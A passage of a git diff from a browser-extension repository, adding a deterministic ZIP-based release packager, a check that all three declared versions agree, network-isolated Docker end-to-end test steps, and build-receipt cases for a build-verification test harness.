const byName = new Map(entries.map((e) => [e.name, e.data]));
|
||||||
|
checkSelfContained(dir, inArchive, (m) => byName.get(m));
|
||||||
|
|
||||||
|
const digest = sha256(written);
|
||||||
|
sums.push(`${digest} ${name}`);
|
||||||
|
console.log(
|
||||||
|
`${name}: ${entries.length} member(s), ${written.length} bytes, ` +
|
||||||
|
`sha256 ${digest}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
fs.writeFileSync(
|
||||||
|
path.join(RELEASE, "SHA256SUMS"),
|
||||||
|
sums.map((l) => `${l}\n`).join(""),
|
||||||
|
);
|
||||||
|
console.log(`Wrote release/ for version ${version}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only when run as a program. The reference-resolving helpers are what decide
|
||||||
|
// whether an archive is self-contained, so tests/packaging.test.js exercises
|
||||||
|
// them directly and must be able to require this file without packaging
|
||||||
|
// anything.
|
||||||
|
if (require.main === module) {
|
||||||
|
try {
|
||||||
|
main();
|
||||||
|
} catch (err) {
|
||||||
|
console.error(`package: ${err && err.message ? err.message : err}`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { checkSelfContained, htmlReferences, manifestReferences };
|
||||||
74
script/lib/version.js
Normal file
74
script/lib/version.js
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
// The version, and the rule that there is only one of it.
|
||||||
|
//
|
||||||
|
// Three files declare a version and none of them can be derived from another:
|
||||||
|
// Chrome and Firefox each need their own manifest, both are copied to dist/
|
||||||
|
// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
|
||||||
|
// ships), and package.json's copy is what build.js compiles into the About
|
||||||
|
// screen. So the single source of truth is enforced rather than generated —
|
||||||
|
// they must all agree or there is no version and no build.
|
||||||
|
//
|
||||||
|
// Reading one of the three and ignoring the rest is what this replaces. That
|
||||||
|
// shape cannot fail: it silently ships an extension whose About screen and
|
||||||
|
// whose browser-reported version disagree, and whose release artifact is named
|
||||||
|
// after whichever file the packager happened to read.
|
||||||
|
//
|
||||||
|
// Required by build.js, script/lib/package.js and tests/version.test.js, so
|
||||||
|
// the build, the release artifacts and make check all apply the same rule to
|
||||||
|
// the same files.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const VERSION_SOURCES = [
|
||||||
|
"package.json",
|
||||||
|
"manifest/chrome.json",
|
||||||
|
"manifest/firefox.json",
|
||||||
|
];
|
||||||
|
|
||||||
|
// Every declared version, in VERSION_SOURCES order, as { source, version }.
|
||||||
|
// A file that declares nothing usable fails here rather than being skipped:
|
||||||
|
// a missing version is not agreement.
|
||||||
|
function declaredVersions(root) {
|
||||||
|
return VERSION_SOURCES.map((source) => {
|
||||||
|
const file = path.join(root, source);
|
||||||
|
let parsed;
|
||||||
|
try {
|
||||||
|
parsed = JSON.parse(fs.readFileSync(file, "utf8"));
|
||||||
|
} catch (e) {
|
||||||
|
throw new Error(
|
||||||
|
`${source} could not be read as JSON: ${e.message}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const version = parsed.version;
|
||||||
|
if (typeof version !== "string" || version.trim() === "") {
|
||||||
|
throw new Error(
|
||||||
|
`${source} declares no usable "version" (found ` +
|
||||||
|
`${JSON.stringify(version)}). Every artifact is named and ` +
|
||||||
|
`stamped with it, so there is nothing to build without it.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return { source, version };
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// The one version all three declare, or a failure naming every disagreeing
|
||||||
|
// file and what it said.
|
||||||
|
function resolveVersion(root) {
|
||||||
|
const declared = declaredVersions(root);
|
||||||
|
const distinct = [...new Set(declared.map((d) => d.version))];
|
||||||
|
if (distinct.length !== 1) {
|
||||||
|
throw new Error(
|
||||||
|
"the declared versions disagree, so this tree has no version: " +
|
||||||
|
declared.map((d) => `${d.source}=${d.version}`).join(", ") +
|
||||||
|
". Set all of them to the same value: the manifests are what " +
|
||||||
|
"the browser reports and package.json is what the About " +
|
||||||
|
"screen shows, and a build that picked one of them would " +
|
||||||
|
"ship the disagreement.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return distinct[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };
|
||||||
274
script/lib/zip.js
Normal file
274
script/lib/zip.js
Normal file
@@ -0,0 +1,274 @@
|
|||||||
|
// A minimal, deterministic ZIP writer and reader.
|
||||||
|
//
|
||||||
|
// Used by script/lib/package.js to build the distributable archives: a Chrome
|
||||||
|
// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
|
||||||
|
// root, so one implementation covers both.
|
||||||
|
//
|
||||||
|
// Why this rather than a package or the zip(1) binary. A dependency would have
|
||||||
|
// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
|
||||||
|
// about a hundred lines of stdlib zlib for a format the archives use two
|
||||||
|
// features of. The binary is worse: the release artifact would then depend on
|
||||||
|
// whichever Info-ZIP the machine happens to have, which is the same objection
|
||||||
|
// that keeps linting inside a container.
|
||||||
|
//
|
||||||
|
// Deterministic on purpose. Entries are sorted by name, every timestamp is the
|
||||||
|
// same fixed 1980-01-01 the format's epoch starts at, and the compression
|
||||||
|
// level is fixed, so building the same dist/ twice produces byte-identical
|
||||||
|
// archives and the sha256 in SHA256SUMS is a property of the input rather than
|
||||||
|
// of the clock. Two builds of the same commit that disagree are then visible
|
||||||
|
// instead of expected.
|
||||||
|
//
|
||||||
|
// Deliberately NOT implemented: zip64, encryption, data descriptors,
|
||||||
|
// directory entries (browsers infer directories from member paths), and
|
||||||
|
// anything to do with symlinks. writeZip refuses input it cannot represent
|
||||||
|
// rather than emitting an archive that is quietly wrong.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
const zlib = require("zlib");
|
||||||
|
|
||||||
|
const LOCAL_SIG = 0x04034b50;
|
||||||
|
const CENTRAL_SIG = 0x02014b50;
|
||||||
|
const EOCD_SIG = 0x06054b50;
|
||||||
|
|
||||||
|
const METHOD_STORE = 0;
|
||||||
|
const METHOD_DEFLATE = 8;
|
||||||
|
|
||||||
|
// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
|
||||||
|
const DOS_DATE = (0 << 9) | (1 << 5) | 1;
|
||||||
|
const DOS_TIME = 0;
|
||||||
|
|
||||||
|
// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
|
||||||
|
// by unix" convention puts it.
|
||||||
|
// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
|
||||||
|
const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
|
||||||
|
const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
|
||||||
|
const VERSION_NEEDED = 20;
|
||||||
|
|
||||||
|
// Without zip64 every size and offset is a u32.
|
||||||
|
const MAX_U32 = 0xffffffff;
|
||||||
|
|
||||||
|
const CRC_TABLE = (() => {
|
||||||
|
const table = new Int32Array(256);
|
||||||
|
for (let i = 0; i < 256; i++) {
|
||||||
|
let c = i;
|
||||||
|
for (let k = 0; k < 8; k++) {
|
||||||
|
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
|
||||||
|
}
|
||||||
|
table[i] = c;
|
||||||
|
}
|
||||||
|
return table;
|
||||||
|
})();
|
||||||
|
|
||||||
|
// Written out rather than taken from zlib.crc32, which only exists from node
|
||||||
|
// 22.2: this runs from script/ on whatever node the host has as well as inside
|
||||||
|
// the pinned image, and a checksum that silently is not there is worse than
|
||||||
|
// twelve lines.
|
||||||
|
function crc32(buf) {
|
||||||
|
let c = -1;
|
||||||
|
for (let i = 0; i < buf.length; i++) {
|
||||||
|
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
|
||||||
|
}
|
||||||
|
return (c ^ -1) >>> 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Member names are stored as raw bytes. Anything outside ASCII would need the
|
||||||
|
// UTF-8 flag and interoperability care that nothing this repo emits requires,
|
||||||
|
// so it is refused instead of guessed at.
|
||||||
|
function encodeName(name) {
|
||||||
|
if (typeof name !== "string" || name === "") {
|
||||||
|
throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
|
||||||
|
}
|
||||||
|
const segments = name.split("/");
|
||||||
|
if (
|
||||||
|
name.startsWith("/") ||
|
||||||
|
name.includes("\\") ||
|
||||||
|
segments.some((s) => s === "" || s === "." || s === "..")
|
||||||
|
) {
|
||||||
|
throw new Error(
|
||||||
|
`zip: refusing member name ${JSON.stringify(name)}: archive ` +
|
||||||
|
`members must be relative paths under the archive root`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (/[^\x20-\x7e]/.test(name)) {
|
||||||
|
throw new Error(
|
||||||
|
`zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return Buffer.from(name, "ascii");
|
||||||
|
}
|
||||||
|
|
||||||
|
function compress(data) {
|
||||||
|
if (data.length === 0) {
|
||||||
|
return { method: METHOD_STORE, body: data };
|
||||||
|
}
|
||||||
|
const deflated = zlib.deflateRawSync(data, { level: 9 });
|
||||||
|
if (deflated.length >= data.length) {
|
||||||
|
return { method: METHOD_STORE, body: data };
|
||||||
|
}
|
||||||
|
return { method: METHOD_DEFLATE, body: deflated };
|
||||||
|
}
|
||||||
|
|
||||||
|
// entries: [{ name, data }]. Returns the archive as a Buffer.
|
||||||
|
function writeZip(entries) {
|
||||||
|
if (!Array.isArray(entries) || entries.length === 0) {
|
||||||
|
throw new Error("zip: refusing to write an archive with no members");
|
||||||
|
}
|
||||||
|
|
||||||
|
const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
|
||||||
|
const seen = new Set();
|
||||||
|
const locals = [];
|
||||||
|
const centrals = [];
|
||||||
|
let offset = 0;
|
||||||
|
|
||||||
|
for (const entry of sorted) {
|
||||||
|
const name = encodeName(entry.name);
|
||||||
|
if (seen.has(entry.name)) {
|
||||||
|
throw new Error(`zip: duplicate member ${entry.name}`);
|
||||||
|
}
|
||||||
|
seen.add(entry.name);
|
||||||
|
|
||||||
|
const data = Buffer.from(entry.data);
|
||||||
|
const { method, body } = compress(data);
|
||||||
|
if (data.length > MAX_U32 || body.length > MAX_U32) {
|
||||||
|
throw new Error(
|
||||||
|
`zip: ${entry.name} is too large for a non-zip64 archive`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const crc = crc32(data);
|
||||||
|
|
||||||
|
const local = Buffer.alloc(30 + name.length);
|
||||||
|
local.writeUInt32LE(LOCAL_SIG, 0);
|
||||||
|
local.writeUInt16LE(VERSION_NEEDED, 4);
|
||||||
|
local.writeUInt16LE(0, 6);
|
||||||
|
local.writeUInt16LE(method, 8);
|
||||||
|
local.writeUInt16LE(DOS_TIME, 10);
|
||||||
|
local.writeUInt16LE(DOS_DATE, 12);
|
||||||
|
local.writeUInt32LE(crc, 14);
|
||||||
|
local.writeUInt32LE(body.length, 18);
|
||||||
|
local.writeUInt32LE(data.length, 22);
|
||||||
|
local.writeUInt16LE(name.length, 26);
|
||||||
|
local.writeUInt16LE(0, 28);
|
||||||
|
name.copy(local, 30);
|
||||||
|
|
||||||
|
const central = Buffer.alloc(46 + name.length);
|
||||||
|
central.writeUInt32LE(CENTRAL_SIG, 0);
|
||||||
|
central.writeUInt16LE(VERSION_MADE_BY, 4);
|
||||||
|
central.writeUInt16LE(VERSION_NEEDED, 6);
|
||||||
|
central.writeUInt16LE(0, 8);
|
||||||
|
central.writeUInt16LE(method, 10);
|
||||||
|
central.writeUInt16LE(DOS_TIME, 12);
|
||||||
|
central.writeUInt16LE(DOS_DATE, 14);
|
||||||
|
central.writeUInt32LE(crc, 16);
|
||||||
|
central.writeUInt32LE(body.length, 20);
|
||||||
|
central.writeUInt32LE(data.length, 24);
|
||||||
|
central.writeUInt16LE(name.length, 28);
|
||||||
|
central.writeUInt16LE(0, 30);
|
||||||
|
central.writeUInt16LE(0, 32);
|
||||||
|
central.writeUInt16LE(0, 34);
|
||||||
|
central.writeUInt16LE(0, 36);
|
||||||
|
central.writeUInt32LE(EXTERNAL_ATTRS, 38);
|
||||||
|
if (offset > MAX_U32) {
|
||||||
|
throw new Error("zip: archive too large for a non-zip64 archive");
|
||||||
|
}
|
||||||
|
central.writeUInt32LE(offset, 42);
|
||||||
|
name.copy(central, 46);
|
||||||
|
|
||||||
|
locals.push(local, body);
|
||||||
|
centrals.push(central);
|
||||||
|
offset += local.length + body.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
const centralBuf = Buffer.concat(centrals);
|
||||||
|
const eocd = Buffer.alloc(22);
|
||||||
|
eocd.writeUInt32LE(EOCD_SIG, 0);
|
||||||
|
eocd.writeUInt16LE(0, 4);
|
||||||
|
eocd.writeUInt16LE(0, 6);
|
||||||
|
eocd.writeUInt16LE(sorted.length, 8);
|
||||||
|
eocd.writeUInt16LE(sorted.length, 10);
|
||||||
|
eocd.writeUInt32LE(centralBuf.length, 12);
|
||||||
|
eocd.writeUInt32LE(offset, 16);
|
||||||
|
eocd.writeUInt16LE(0, 20);
|
||||||
|
|
||||||
|
return Buffer.concat([...locals, centralBuf, eocd]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read an archive back into [{ name, data }], from the central directory
|
||||||
|
// rather than by scanning for local headers: the central directory is the
|
||||||
|
// authoritative index, and a member reachable only by scanning is one a real
|
||||||
|
// unzipper would not extract.
|
||||||
|
//
|
||||||
|
// Every member's CRC is checked. The point of reading an archive back is to
|
||||||
|
// establish that it holds what it was meant to hold, so a member that does not
|
||||||
|
// decompress to its recorded checksum is a failure and never a warning.
|
||||||
|
function readZip(buf) {
|
||||||
|
if (buf.length < 22) {
|
||||||
|
throw new Error("zip: too short to be an archive");
|
||||||
|
}
|
||||||
|
// No archive this writes has a trailing comment, so the EOCD is the last
|
||||||
|
// 22 bytes. Anything else is not an archive this produced.
|
||||||
|
const eocdAt = buf.length - 22;
|
||||||
|
if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
|
||||||
|
throw new Error(
|
||||||
|
"zip: no end-of-central-directory record at the end of the " +
|
||||||
|
"archive (a trailing comment, or not a zip at all)",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const count = buf.readUInt16LE(eocdAt + 10);
|
||||||
|
const centralSize = buf.readUInt32LE(eocdAt + 12);
|
||||||
|
let at = buf.readUInt32LE(eocdAt + 16);
|
||||||
|
if (at + centralSize > eocdAt) {
|
||||||
|
throw new Error("zip: central directory runs past the archive");
|
||||||
|
}
|
||||||
|
|
||||||
|
const out = [];
|
||||||
|
for (let i = 0; i < count; i++) {
|
||||||
|
if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
|
||||||
|
throw new Error(`zip: bad central directory entry ${i}`);
|
||||||
|
}
|
||||||
|
const method = buf.readUInt16LE(at + 10);
|
||||||
|
const crc = buf.readUInt32LE(at + 16);
|
||||||
|
const compSize = buf.readUInt32LE(at + 20);
|
||||||
|
const rawSize = buf.readUInt32LE(at + 24);
|
||||||
|
const nameLen = buf.readUInt16LE(at + 28);
|
||||||
|
const extraLen = buf.readUInt16LE(at + 30);
|
||||||
|
const commentLen = buf.readUInt16LE(at + 32);
|
||||||
|
const localAt = buf.readUInt32LE(at + 42);
|
||||||
|
const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
|
||||||
|
at += 46 + nameLen + extraLen + commentLen;
|
||||||
|
|
||||||
|
if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
|
||||||
|
throw new Error(`zip: ${name} has no local header`);
|
||||||
|
}
|
||||||
|
// The local header's own name and extra lengths, not the central
|
||||||
|
// directory's: the two are allowed to differ and the data starts after
|
||||||
|
// the local ones.
|
||||||
|
const localNameLen = buf.readUInt16LE(localAt + 26);
|
||||||
|
const localExtraLen = buf.readUInt16LE(localAt + 28);
|
||||||
|
const dataAt = localAt + 30 + localNameLen + localExtraLen;
|
||||||
|
const body = buf.subarray(dataAt, dataAt + compSize);
|
||||||
|
|
||||||
|
let data;
|
||||||
|
if (method === METHOD_STORE) {
|
||||||
|
data = Buffer.from(body);
|
||||||
|
} else if (method === METHOD_DEFLATE) {
|
||||||
|
data = zlib.inflateRawSync(body);
|
||||||
|
} else {
|
||||||
|
throw new Error(`zip: ${name} uses compression method ${method}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data.length !== rawSize) {
|
||||||
|
throw new Error(
|
||||||
|
`zip: ${name} decompressed to ${data.length} bytes, not the ` +
|
||||||
|
`recorded ${rawSize}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (crc32(data) !== crc) {
|
||||||
|
throw new Error(`zip: ${name} fails its recorded CRC32`);
|
||||||
|
}
|
||||||
|
out.push({ name, data });
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { crc32, readZip, writeZip };
|
||||||
38
script/package
Executable file
38
script/package
Executable file
@@ -0,0 +1,38 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# script/package: produce the release artifacts — one self-contained,
|
||||||
|
# versioned archive per browser — into release/. Our own extension to
|
||||||
|
# scripts-to-rule-them-all.
|
||||||
|
#
|
||||||
|
# It builds first, through `make build` rather than by calling build.js
|
||||||
|
# itself. That target is the only audited path to a release build: it creates
|
||||||
|
# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
|
||||||
|
# verifier's environment, tells script/verify-build in so many words to expect
|
||||||
|
# a RELEASE build, and re-runs script/check-censored against dist/.
|
||||||
|
# script/test-verify-build asserts that wiring by reading the recipe back out
|
||||||
|
# of `make -n`. Re-implementing that sequence here would give the release
|
||||||
|
# artifacts a second, unaudited path to dist/ — and it is the release
|
||||||
|
# artifacts, above everything else, that must never be built from a debug
|
||||||
|
# compile.
|
||||||
|
#
|
||||||
|
# This packages, it does not publish. Tagging, CRX packing and any upload are
|
||||||
|
# outward-facing acts and are nobody's job but the owner's.
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||||
|
|
||||||
|
main() {
|
||||||
|
cd "$ROOT"
|
||||||
|
|
||||||
|
if ! command -v make >/dev/null 2>&1; then
|
||||||
|
echo "package: make is required (the release build runs through" \
|
||||||
|
"make build)" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
make build
|
||||||
|
|
||||||
|
echo "Packaging release artifacts..."
|
||||||
|
node script/lib/package.js
|
||||||
|
}
|
||||||
|
|
||||||
|
main "$@"
|
||||||
@@ -78,6 +78,22 @@ main() {
|
|||||||
-e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
|
-e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
|
||||||
"$(cat "$IIDFILE")" \
|
"$(cat "$IIDFILE")" \
|
||||||
node tests/e2e/run.js
|
node tests/e2e/run.js
|
||||||
|
|
||||||
|
# Where chrome.storage.local lives, and what moves it: two unpacked loads
|
||||||
|
# from two different paths in one profile, with the shipped manifest and
|
||||||
|
# again with `key` stripped out. Its own browser sessions — four of them —
|
||||||
|
# because the whole subject is what happens ACROSS loads, which the suite
|
||||||
|
# above cannot express with one.
|
||||||
|
#
|
||||||
|
# No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
|
||||||
|
# RPC and installs no route handlers, and the browser is started with
|
||||||
|
# --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
|
||||||
|
echo "Running the extension-id and storage-partition observations..."
|
||||||
|
docker run --rm \
|
||||||
|
--ipc=host \
|
||||||
|
-e HOME=/tmp \
|
||||||
|
"$(cat "$IIDFILE")" \
|
||||||
|
node tests/e2e/storagePartition.js
|
||||||
}
|
}
|
||||||
|
|
||||||
main "$@"
|
main "$@"
|
||||||
|
|||||||
@@ -72,6 +72,19 @@ main() {
|
|||||||
-e HOME=/tmp \
|
-e HOME=/tmp \
|
||||||
"$(cat "$IIDFILE")" \
|
"$(cat "$IIDFILE")" \
|
||||||
node tests/e2e/firefox/run.js dist/firefox
|
node tests/e2e/firefox/run.js dist/firefox
|
||||||
|
|
||||||
|
# The install/uninstall/re-install property, against the packaged XPI
|
||||||
|
# rather than the unpacked directory: it is the artifact a user would be
|
||||||
|
# handed, and this is the only place a real Firefox is asked to load it.
|
||||||
|
# Its own browser session, because it takes the add-on away in the middle
|
||||||
|
# and the suite above shares one session throughout.
|
||||||
|
echo "Running the Firefox re-install suite against the packaged XPI..."
|
||||||
|
docker run --rm \
|
||||||
|
--shm-size=1g \
|
||||||
|
--network none \
|
||||||
|
-e HOME=/tmp \
|
||||||
|
"$(cat "$IIDFILE")" \
|
||||||
|
node tests/e2e/firefox/reinstall.js
|
||||||
}
|
}
|
||||||
|
|
||||||
main "$@"
|
main "$@"
|
||||||
|
|||||||
@@ -1,13 +1,16 @@
|
|||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
# script/test-verify-build: exercise every failure mode of
|
# script/test-verify-build: exercise every failure mode of
|
||||||
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
|
# script/verify-build, and what make build does with dist/ after one of them
|
||||||
# from script/check so make check covers it.
|
# (script/discard-dist-on-failure). Our own extension to
|
||||||
|
# scripts-to-rule-them-all, run from script/check so make check covers it.
|
||||||
#
|
#
|
||||||
# Why this exists: verify-build is the build-integrity guard, and three
|
# Why this exists: verify-build is the build-integrity guard, and four separate
|
||||||
# separate reviews of it each found a fresh vacuous pass — the grep exit-2
|
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
||||||
# conflation, the discarded find status, the line-delimited walk. Every one
|
# the discarded find status, the line-delimited walk, and then the two the
|
||||||
# was caught by someone building a tree by hand, because nothing in make check
|
# receipt replaced: an expectation read out of the verifier's own environment,
|
||||||
# could catch it. This is that hand battery, committed and automated.
|
# and a file list read back out of the tree it was supposed to vouch for. Every
|
||||||
|
# one was caught by someone building a tree by hand, because nothing in make
|
||||||
|
# check could catch it. This is that hand battery, committed and automated.
|
||||||
#
|
#
|
||||||
# Each case asserts the exit status AND a substring of the message. A guard
|
# Each case asserts the exit status AND a substring of the message. A guard
|
||||||
# that fails for the wrong reason (right status, different fault) is itself a
|
# that fails for the wrong reason (right status, different fault) is itself a
|
||||||
@@ -17,15 +20,25 @@
|
|||||||
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
||||||
# operates on the fixture's dist/ and never reads or writes the repo's build
|
# operates on the fixture's dist/ and never reads or writes the repo's build
|
||||||
# output. The symlink rather than a copy is what makes a deliberate break in
|
# output. The symlink rather than a copy is what makes a deliberate break in
|
||||||
# the real script fail here.
|
# the real script fail here. The fixture's receipt is written from the bytes
|
||||||
|
# the fixture actually holds, exactly as a build writes one from the bytes it
|
||||||
|
# emitted; a case that means "the build emitted this" regenerates it, and a
|
||||||
|
# case that means "something changed dist/ afterwards" does not.
|
||||||
|
#
|
||||||
|
# The sha256 command is selected here independently of the one verify-build
|
||||||
|
# picks. That is deliberate: a harness that reused the implementation's helper
|
||||||
|
# would agree with it even when it is wrong.
|
||||||
set -eu
|
set -eu
|
||||||
|
|
||||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||||
VERIFY_BUILD="$ROOT/script/verify-build"
|
VERIFY_BUILD="$ROOT/script/verify-build"
|
||||||
|
DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
|
||||||
|
|
||||||
MARKER_ON="autistmask-build-debug=on"
|
MARKER_ON="autistmask-build-debug=on"
|
||||||
MARKER_OFF="autistmask-build-debug=off"
|
MARKER_OFF="autistmask-build-debug=off"
|
||||||
|
|
||||||
|
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||||
|
|
||||||
NEWLINE='
|
NEWLINE='
|
||||||
'
|
'
|
||||||
|
|
||||||
@@ -41,6 +54,9 @@ UNPRIV=""
|
|||||||
PERM_ENABLED=no
|
PERM_ENABLED=no
|
||||||
PERM_HOW=""
|
PERM_HOW=""
|
||||||
|
|
||||||
|
# The sha256 command, chosen by pick_sha256_tool.
|
||||||
|
SHA256_CMD=""
|
||||||
|
|
||||||
WORK=""
|
WORK=""
|
||||||
|
|
||||||
cleanup() {
|
cleanup() {
|
||||||
@@ -54,6 +70,10 @@ trap cleanup EXIT INT TERM
|
|||||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
||||||
FIXTURE="$WORK/fixture"
|
FIXTURE="$WORK/fixture"
|
||||||
|
|
||||||
|
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
||||||
|
# outside the fixture altogether — because that is where a real one lives.
|
||||||
|
RECEIPT="$WORK/receipt"
|
||||||
|
|
||||||
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
||||||
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
||||||
# unprivileged user the permission cases run as.
|
# unprivileged user the permission cases run as.
|
||||||
@@ -65,21 +85,74 @@ chmod 755 "$WORK"
|
|||||||
|
|
||||||
# --- fixture ---------------------------------------------------------------
|
# --- fixture ---------------------------------------------------------------
|
||||||
|
|
||||||
|
# The emitted tree a build of this repo produces in miniature: audited bundles
|
||||||
|
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
||||||
|
# including the content script, which runs on every page, and the manifest,
|
||||||
|
# neither of which the pre-receipt verifier read at all.
|
||||||
|
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
||||||
|
A dist/firefox/src/popup/index.js
|
||||||
|
P dist/chrome/src/content/index.js
|
||||||
|
P dist/chrome/manifest.json
|
||||||
|
P dist/styles.css"
|
||||||
|
|
||||||
|
FIXTURE_REAL=""
|
||||||
|
|
||||||
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
||||||
# is all verify-build reads out of the real thing.
|
# is all verify-build reads out of the real thing beyond its digest.
|
||||||
write_bundle() {
|
write_bundle() {
|
||||||
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
||||||
}
|
}
|
||||||
|
|
||||||
# A dist/ shaped like a real build: two listed bundles under different
|
# Digest of $1, taken with the harness's own sha256 command.
|
||||||
# browsers, an unlisted subtree to make unwalkable, and unlisted files that
|
fixture_sha256() {
|
||||||
# carry no marker and must not be objected to.
|
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
||||||
|
# shellcheck disable=SC2086
|
||||||
|
_fs_out="$($SHA256_CMD "$1")"
|
||||||
|
printf '%s' "${_fs_out%% *}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Write the fixture's receipt, with a substitutable header and root line so the
|
||||||
|
# cases can hand verify-build a receipt that is not one.
|
||||||
|
write_receipt_custom() {
|
||||||
|
_wrc_header="$1"
|
||||||
|
_wrc_root="$2"
|
||||||
|
|
||||||
|
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
||||||
|
rm -f "$RECEIPT"
|
||||||
|
|
||||||
|
(
|
||||||
|
cd "$FIXTURE"
|
||||||
|
printf '%s\n' "$_wrc_header"
|
||||||
|
printf 'root %s\n' "$_wrc_root"
|
||||||
|
_saved_ifs="$IFS"
|
||||||
|
IFS="$NEWLINE"
|
||||||
|
for _entry in $FIXTURE_FILES; do
|
||||||
|
IFS="$_saved_ifs"
|
||||||
|
_flag="${_entry%% *}"
|
||||||
|
_path="${_entry#* }"
|
||||||
|
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
||||||
|
"$_flag" "$_path"
|
||||||
|
IFS="$NEWLINE"
|
||||||
|
done
|
||||||
|
IFS="$_saved_ifs"
|
||||||
|
) >"$RECEIPT"
|
||||||
|
|
||||||
|
# Readable by the unprivileged user the permission cases run as, whatever
|
||||||
|
# umask this process has, until a case takes that away on purpose.
|
||||||
|
chmod 644 "$RECEIPT"
|
||||||
|
}
|
||||||
|
|
||||||
|
write_receipt() {
|
||||||
|
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
||||||
|
}
|
||||||
|
|
||||||
build_fixture() {
|
build_fixture() {
|
||||||
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
||||||
rm -rf "$FIXTURE"
|
rm -rf "$FIXTURE"
|
||||||
|
|
||||||
mkdir -p "$FIXTURE/script"
|
mkdir -p "$FIXTURE/script"
|
||||||
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
||||||
|
ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
|
||||||
|
|
||||||
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
||||||
"$FIXTURE/dist/chrome/src/content" \
|
"$FIXTURE/dist/chrome/src/content" \
|
||||||
@@ -87,13 +160,12 @@ build_fixture() {
|
|||||||
|
|
||||||
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
||||||
